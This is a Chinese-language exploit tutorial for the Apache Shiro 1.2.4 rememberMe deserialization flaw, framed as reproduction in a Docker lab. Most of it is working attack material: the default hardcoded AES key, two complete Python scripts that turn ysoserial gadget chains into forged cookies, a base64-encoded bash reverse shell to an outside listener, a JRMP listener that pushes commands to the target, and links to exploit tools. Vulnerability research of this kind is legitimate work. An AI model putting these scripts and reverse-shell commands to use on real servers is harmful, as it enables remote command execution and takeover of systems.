Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
0x01 复现环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
docker ps
0x02 shiro rememberMe作用
shiro反序列化漏洞出现的位置在cookie中的rememberMe参数(记住我功能),该功能在用户在登录页面中勾选了“记住我”,用户提交用户名和密码给服务器后,服务器在set-cookie字段中会返回rememberMe的值,客户端(浏览器)会将服务器回显的rememberMe参数保存下来,即使在浏览器关闭后,再次打开该页面,无需登录也可以访问。
服务器生成rememberMe及读取rememberMe的过程:
所以漏洞点在于构造特殊的rememberMe发送给服务器,服务器反序列化后造成命令执行。所以payload构造如下:
恶意class类=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
0x03 AES加密key碰撞
AES对称加密需要知道key,而shiro的key硬编码在代码中,在shiro源代码的AbstractRememberMeManager.java
文件中,如果项目使用默认AES key或者复制其他程序员的代码中的key,即会把被反序列化攻击的风险引入。
碰撞加密key的方法是依次用不同的key加密cookie的rememberMe参数发送给服务器,当key正确时,服务器不会返回header头中的Set-Cookie字段的rememberMe=deleteMe,如果key不正确,则会返回deleteMe。
爆破Shiro key脚本:https://github.com/Ares-X/shiro-exploit
python3 shiro-exploit.py check -u http://xxx/
0x04 命令执行POC
所需工具:ysoserial,编译方法见:
shiro_poc.py脚本:
# pip install pycrypto
import sys
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
将shiro_poc.py
脚本与ysoserial-0.0.6-SNAPSHOT-all.jar
放在一个文件夹。
再运行 python3 shiro_poc.py "shell命令"
例如python3 shiro_poc.py "ping test.xxx.dnslog.cn"
,即会在当前目录生成payload.cookie
文件。
把访问靶机的请求的cookie替换成脚本的,发送给靶机,查看dnslog平台,即可发现命令成功执行。这里要注意一下,需要把JSESSIONID字段的值删掉,如果保留该字段,发现命令无法被执行。
此外,还可以用这种方法进行反弹shell:
- nc监听端口
nc -lvp 1234
- 使用Java Runtime 配合 bash 编码反弹shell命令:
bash -i >& /dev/tcp/192.168.1.123/1234 0>&1
编码为bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIzLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
生成payload.cookie文件
python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIzLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
- cookie替换rememberMe,然后发送,在nc监听端就能收到反弹shell了。
0x05 JRMP方法POC
JRMP方法POC与上面的POC脚本类似,只不过使用的是ysoserial JRMP模块生成漏洞利用代码,好处在于生成的代码长度更小,防止cookie过长被安全产品拦截。
shiro.py脚本:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
- 生成rememberMe
python3 shiro.py 192.168.1.123:6666 #表明使用RMI协议连接到192.168.1.123:6666
- RMI监听端监听端口并下发命令,命令使用 http://www.jackson-t.ca/runtime-exec-payloads.html 网站进行编码过
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,cGluZyBhYWEuZHpyeG0zLmRuc2xvZy5jbg==}|{base64,-d}|{bash,-i}"
- 请求头cookie改成生成的rememberMe发送
payload发送到shiro服务器上后,shiro服务器即通过RMI协议连接到ysoserial监听端,监听端下发命令使得shiro服务器执行。这里如果下发的命令是反弹shell,即比上面那种反弹shell效果要好,因为cookie长度更简短。
0x06 优秀的漏洞利用项目
图形化shiro反序列工具:https://github.com/feihong-cs/ShiroExploit-Deprecated
一键检测工具:https://github.com/sv3nbeast/ShiroScan
burp shiro检测插件:https://github.com/potats0/shiroPoc
0x07 解密攻击流量中的rememberMe字段
在线shiro rememberMe解密网站:https://sec.dog/shiroDecrypt.html
参考文档:
https://segmentfault.com/a/1190000012800154?utm_source=tag-newest
https://paper.seebug.org/1285/
https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
https://blog.csdn.net/weixin_38307489/article/details/102455710
https://www.cnblogs.com/xiaozi/p/13239046.html